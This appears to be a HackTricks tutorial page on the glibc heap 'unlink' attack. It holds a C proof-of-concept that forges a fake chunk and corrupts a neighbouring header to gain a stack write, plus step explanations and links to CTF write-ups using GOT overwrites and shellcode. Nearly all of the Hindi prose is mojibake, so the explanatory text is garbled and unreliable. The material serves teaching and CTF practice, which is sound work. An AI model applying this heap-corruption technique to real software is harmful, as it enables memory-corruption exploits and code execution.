Unlink Attack
Last updated
Last updated
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks рдкреНрд░рд╢рд┐рдХреНрд╖рдг AWS рд░реЗрдб рдЯреАрдо рдПрдХреНрд╕рдкрд░реНрдЯ (ARTE) GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks рдкреНрд░рд╢рд┐рдХреНрд╖рдг GCP рд░реЗрдб рдЯреАрдо рдПрдХреНрд╕рдкрд░реНрдЯ (GRTE)
рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдВ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ!
рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ ЁЯТм рдбрд┐рд╕реНрдХреЙрд░реНрдб рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдпрд╛ рд╣рдореЗрдВ рдЯреНрд╡рд┐рдЯрд░ ЁЯРж @hacktricks_live** рдкрд░ рдлреЙрд▓реЛ** рдХрд░реЗрдВред
рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ, рд╣реИрдХрдЯреНрд░рд┐рдХреНрд╕ рдХреЛ рдкреАрдЖрд░ рдЬрдорд╛ рдХрд░рдХреЗ рдФрд░ рд╣реИрдХрдЯреНрд░рд┐рдХреНрд╕ рдХреНрд▓рд╛рдЙрдб github рд░реЗрдкреЛ рдореЗрдВред
рдЬрдм рдпрд╣ рд╣рдорд▓рд╛ рдЦреЛрдЬрд╛ рдЧрдпрд╛ рдерд╛, рддреЛ рдпрд╣ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╡рдХреНрдд рдПрдХ рдбрдмреНрд▓реНрдпреВрдбрдмреНрд▓реНрдпреВрдбрдмреНрд▓реНрдпреВ (WWW - Write What Where) рдХреЛ рд╕рдВрднрд╡ рдмрдирд╛рддрд╛ рдерд╛, рд╣рд╛рд▓рд╛рдВрдХрд┐, рдХреБрдЫ рдЬрд╛рдВрдЪреЗрдВ рдЬреЛрдбрд╝реА рдЧрдИ рдЧрдИ рдереАрдВ рдЬрд┐рд╕рдиреЗ рд╣рдорд▓реЗ рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдФрд░ рдЕрдзрд┐рдХ рд░реЛрдЪрдХ рдФрд░ **рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рдФрд░ рдЕрдирд╛рд░реНрдердХ рдмрдирд╛ рджрд┐рдпрд╛ред
```c #include #include #include #include
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* рд╣рдорд▓рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рдЕрдЧрд░ tcaches рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (2.26 рдХреЗ рдмрд╛рдж)
### рд▓рдХреНрд╖реНрдп
рдпрд╣ рд╣рдорд▓рд╛ рдПрдХ рдЪрдВрдХ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдЕрдкрдиреЗ рдЖрдк рд╕реЗ 3 рдкрддреЗ рдкрд╣рд▓реЗ рдкреЙрдЗрдВрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрджрд┐ рдЗрд╕ рдирдП рд╕реНрдерд╛рди (рдкреЙрдЗрдВрдЯрд░ рдХреЗ рд╕реНрдерд╛рди рдХреЗ рдЖрд╕-рдкрд╛рд╕) рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рд╡рд╕реНрддреБрдПрдВ рд╣реИрдВ, рдЬреИрд╕реЗ рдЕрдиреНрдп рдирд┐рдпрдВрддреНрд░рдг рд╡рд╛рд▓реА рдЖрд╡рдВрдЯрди / рд╕реНрдЯреИрдХ..., рддреЛ рдЙрдиреНрд╣реЗрдВ рдкрдврд╝рдирд╛ / рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдЕрдзрд┐рдХ рдиреБрдХрд╕рд╛рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
* рдпрджрд┐ рдпрд╣ рдкреЙрдЗрдВрдЯрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рд╕реНрдерд┐рдд рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдЕрдм рдпрд╣ рдЕрдкрдиреЗ рдЖрдк рд╕реЗ 3 рдкрддреЗ рдкрд╣рд▓реЗ рдкреЙрдЗрдВрдЯ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЗрд╕реЗ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕реНрдЯреИрдХ рд╕реЗ рд▓реАрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдпрд╣рд╛рдБ рддрдХ рдХрд┐ рд╡рд╛рдкрд╕реА рдкрддрд╛ (рд╢рд╛рдпрдж) рдХреЛ рдЫреВрдиреЗ рдХреЗ рдмрд┐рдирд╛ рдХреИрдирд░реА рдХреЛ рдЫреВрдиреЗ
* CTF рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдкреЙрдЗрдВрдЯрд░ рдЕрдиреНрдп рдЖрд╡рдВрдЯрди рдХреЗ рдкреЙрдЗрдВрдЯрд░реЛрдВ рдХреЗ рдПрдХ рдПрд░реЗ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ, рдЗрд╕рд▓рд┐рдП, рдЗрд╕реЗ 3 рдкрддреЗ рдкрд╣рд▓реЗ рдкреЙрдЗрдВрдЯ рдХрд░рдирд╛ рдФрд░ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрдиреЗ рдХреЗ рдХрд╛рд░рдг, рдЕрдиреНрдп рдкреЙрдЗрдВрдЯрд░реЛрдВ рдХреЛ рдЕрдиреНрдп рдкрддреЛрдВ рдкрд░ рдкреЙрдЗрдВрдЯ рдХрд░рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИред\
рдЬреИрд╕реЗ рд╣реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреНрдп рдЖрд╡рдВрдЯрдиреЛрдВ рдХреЛ рдкрдврд╝/рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИ, рд╡рд╣ рд╕реВрдЪрдирд╛ рд▓реАрдХ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдЕрдиреНрдп рдкрддреЛрдВ рдореЗрдВ рдирдП рдкрддреЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рдХрд┐ GOT рдореЗрдВ).
### рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдВ
* рдХреБрдЫ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рдПрдХ рд╕реНрдореГрддрд┐ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╕реНрдЯреИрдХ) рдореЗрдВ рдПрдХ рдХрдкрд▓ рдЪрдВрдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЧреБрдгреЛрдВ рдХреЛ рдорд╛рди рджреЗрдирд╛ред
* рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ рдирдХрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдЯреИрдХ рд▓реАрдХред
### рд╣рдорд▓рд╛
* рдХреБрдЫ рдЪрдВрдХ рд╣реИрдВ (chunk1 рдФрд░ chunk2)
* рд╣рдорд▓рд╛рд╡рд░ chunk1 рдХреА рд╕рд╛рдордЧреНрд░реА рдФрд░ chunk2 рдХреЗ рд╣реЗрдбрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред
* chunk1 рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдирдХрд▓реА рдЪрдВрдХ рдХреА рд╕рдВрд░рдЪрдирд╛ рдмрдирд╛рддрд╛ рд╣реИ:
* рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдЙрд▓рдЯрдиреЗ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрд╖реЗрддреНрд░ `size` рд╕рд╣реА рд╣реИ: `corrupted size vs. prev_size while consolidating`
* рдФрд░ рдирдХрд▓реА рдЪрдВрдХ рдХреЗ рдлреАрд▓реНрдб `fd` рдФрд░ `bk` chunk1 рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдЬрд╣рд╛рдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИ рдЙрд╕реЗ рдкреЙрдЗрдВрдЯ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ -3 рдФрд░ -2 рдХреЗ рдСрдлрд╕реЗрдЯ рд╣реИрдВ рдЗрд╕рд▓рд┐рдП `fake_chunk->fd->bk` рдФрд░ `fake_chunk->bk->fd` рдореЗрдореЛрд░реА (рд╕реНрдЯреИрдХ) рдХреА рд╕реНрдерд┐рддрд┐ рдХреЛ рдкреЙрдЗрдВрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬрд╣рд╛рдВ рд╡рд╛рд╕реНрддрд╡рд┐рдХ chunk1 рдкрддрд╛ рд╕реНрдерд┐рдд рд╣реИ:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* chunk2 рдХреЗ рд╣реЗрдбрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдП рдЧрдП рд╣реИрдВ рддрд╛рдХрд┐ рд╕рдВрдХреЗрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдкрд┐рдЫрд▓рд╛ рдЪрдВрдХ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдирд╣реАрдВ рд╣реИ рдФрд░ рдЖрдХрд╛рд░ рдирдХрд▓реА рдЪрдВрдХ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИред
* рдЬрдм рджреВрд╕рд░рд╛ рдЪрдВрдХ рдореБрдХреНрдд рд╣реЛрддрд╛ рд╣реИ рддреЛ рдпрд╣ рдирдХрд▓реА рдЪрдВрдХ рдЕрдирд▓рд┐рдВрдХ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* рдкрд╣рд▓реЗ рдпрд╣ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ рдХрд┐ `fake_chunk->fd->bk` рдФрд░ `fake_chunk->bk->fd` рдПрдХ рд╣реА рд╕реНрдерд╛рди рдкрд░ рдкреЙрдЗрдВрдЯ рдХрд░реЗрдВ (рдЬрд╣рд╛рдВ `chunk1` рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдПрдХ рд╡реИрдз рд▓рд┐рдВрдХреНрдб рд╕реВрдЪреА рдереА)ред рдХреНрдпреЛрдВрдХрд┐ **рджреЛрдиреЛрдВ рдПрдХ рд╣реА рд╕реНрдерд╛рди рдкрд░ рдкреЙрдЗрдВрдЯ рдХрд░ рд░рд╣реЗ рд╣реИрдВ** рдХреЗрд╡рд▓ рдЕрдВрддрд┐рдо рд╡рд╛рд▓рд╛ (`fake_chunk->bk->fd = fake_chunk->fd`) **рдкреНрд░рднрд╛рд╡** рдбрд╛рд▓реЗрдЧрд╛ред
* рдпрд╣ **рд╕реНрдЯреИрдХ рдореЗрдВ рдЪрдВрдХ1 рдХреЗ рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕реЗ рд╕реНрдЯреИрдХ рдореЗрдВ 3 рдкрддреЗ рдкрд╣рд▓реЗ рд╕реНрдерд┐рдд рдкрддреЗ (рдпрд╛ рдмрд╛рдЗрдЯреНрд╕) рдкрд░ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ**ред
* рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдлрд┐рд░ рд╕реЗ chunk1 рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ **рд╕реНрдЯреИрдХ рдХреЗ рдЕрдВрджрд░ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИ** рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдХреИрдирд░реА рдХреЛ рдЫреВрдХрд░ рд╡рд╛рдкрд╕реА рдкрддрд╛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдФрд░ рд╕реНрдерд╛рдиреАрдп рдЪрд░реЛрдВ рдХреЗ рдорд╛рди рдФрд░ рдкреЙрдЗрдВрдЯ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реЛрдЧреАред рдлрд┐рд░ рд╕реЗ chunk1 рдХреЗ рдкрддреЗ рдХреЛ рд╕реНрдЯреИрдХ рдореЗрдВ рдПрдХ рд╡рд┐рднрд┐рдиреНрди рд╕реНрдерд╛рди рдкрд░ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред
* рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд╕рдВрднрд╡ рдерд╛ рдХреНрдпреЛрдВрдХрд┐ **рдкрддреЗ рд╕реНрдЯреИрдХ рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд┐рдП рдЧрдП рдереЗ**ред рдЬреЛ рдЦрддрд░рд╛ рдФрд░ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╡рд╣ **рдкрддреЗ рдЬрд╣рд╛рдВ рдирдХрд▓реА рдЪрдВрдХ рдХреЗ рдкрддреЗ рд╕реНрдерд┐рдд рд╣реИрдВ, рдЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## рд╕рдВрджрд░реНрдн
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* рдпрджреНрдпрдкрд┐ рдПрдХ CTF рдореЗрдВ рдПрдХ unlink рд╣рдорд▓рд╛ рдкрд╛рдирд╛ рдЕрдЬреАрдм рд╣реЛрдЧрд╛, рдпрд╣рд╛рдВ рдЖрдкрдХреЛ рдХреБрдЫ рд╡реНрд░рд╛рдЗрдЯрдЕрдкреНрд╕ рдорд┐рд▓реЗрдВрдЧреЗ рдЬрд╣рд╛рдВ рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛:
* CTF рдЙрджрд╛рд╣рд░рдг: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╕реНрдЯреИрдХ рдХреЗ рдмрдЬрд╛рдп malloc'ed рдкрддреЛрдВ рдХрд╛ рдПрдХ рдПрд░реЗ рд╣реИред рдЕрдирд▓рд┐рдВрдХ рд╣рдорд▓рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣рд╛рдВ рдПрдХ рдЪрдВрдХ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЬрд┐рд╕рд╕реЗ malloc'ed рдкрддреЛрдВ рдХреЗ рдПрд░реЗ рдХреЗ рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдлрд┐рд░, рдПрдХ рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рд╣реИ рдЬреЛ рдЪрдВрдХ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкрддреЗ GOT рдХреЛ рдкреЙрдЗрдВрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдлрд╝рдВрдХреНрд╢рди рдкрддреЛрдВ рдХреЛ рд▓реАрдХ рдХрд░рдиреЗ рдФрд░ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред
* рдПрдХ рдФрд░ CTF рдЙрджрд╛рд╣рд░рдг: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдг рдХреА рддрд░рд╣, рдЖрд╡рдВрдЯрдиреЛрдВ рдХреЗ рдкрддреЛрдВ рдХрд╛ рдПрдХ рдПрд░рд╛ рд╣реИред рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдкрд╣рд▓реЗ рдЖрд╡рдВрдЯрди рдХреЗ рдкрддреЗ рдПрдХ рдЪрдВрдХ рдХреЗ рдХреБрдЫ рд╕реНрдерд╛рдиреЛрдВ рдкрд░ рдкреЙрдЗрдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдирд▓рд┐рдВрдХ рд╣рдорд▓рд╛ рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ рдлрд┐рд░ рдЗрд╕ рдЖрд╡рдВрдЯрди рдХреЛ рдирдП рд╕реНрдерд╛рди рдкрд░ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПред рдЗрд╕рд▓рд┐рдП, рдЕрдиреНрдп рдЖрд╡рдВрдЯрдиреЛрдВ рдХреЗ рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ GOT рдХреЛ рдкреЙрдЗрдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реАрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдлрд┐рд░ atoi рдХреЗ GOT рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рди рдЧреИрдЬреЗрдЯ рдХреЗ рдкрддреЗ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред
* рдПрдХ CTF рдЙрджрд╛рд╣рд░рдг рдЬрд┐рд╕рдореЗрдВ рдХрд╕реНрдЯрдо malloc рдФрд░ рдореБрдХреНрдд рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдЕрдирд▓рд┐рдВрдХ рд╣рдорд▓реЗ рдХреЗ рдмрд╣реБрдд рд╣реА рд╕рдорд╛рди рдПрдХ рджреБрд░реНрдмрд▓рддрд╛ рдХрд╛ рд╢рд┐рдХрд╛рд░ рд╣реИ: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* рдПрдХ рдУрд╡рд░рдлреНрд▓реЛ рд╣реИ рдЬреЛ рдХрд╕реНрдЯрдо malloc рдХреЗ FD рдФрд░ BK рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ (рдХрд╕реНрдЯрдо) рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣реАрдк рдореЗрдВ exec рдмрд┐рдЯ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдПрдХ рд╣реАрдк рдкрддрд╛ рд▓реАрдХ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдФрд░ рдЧреЛрдЯ рд╕реЗ рдПрдХ рд╣реАрдк рдЪрдВрдХ рдХреЛ рдПрдХ рд╢реИрд▓рдХреЛрдб рд╕рд╣рд┐рдд рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдкреЙрдЗрдВрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред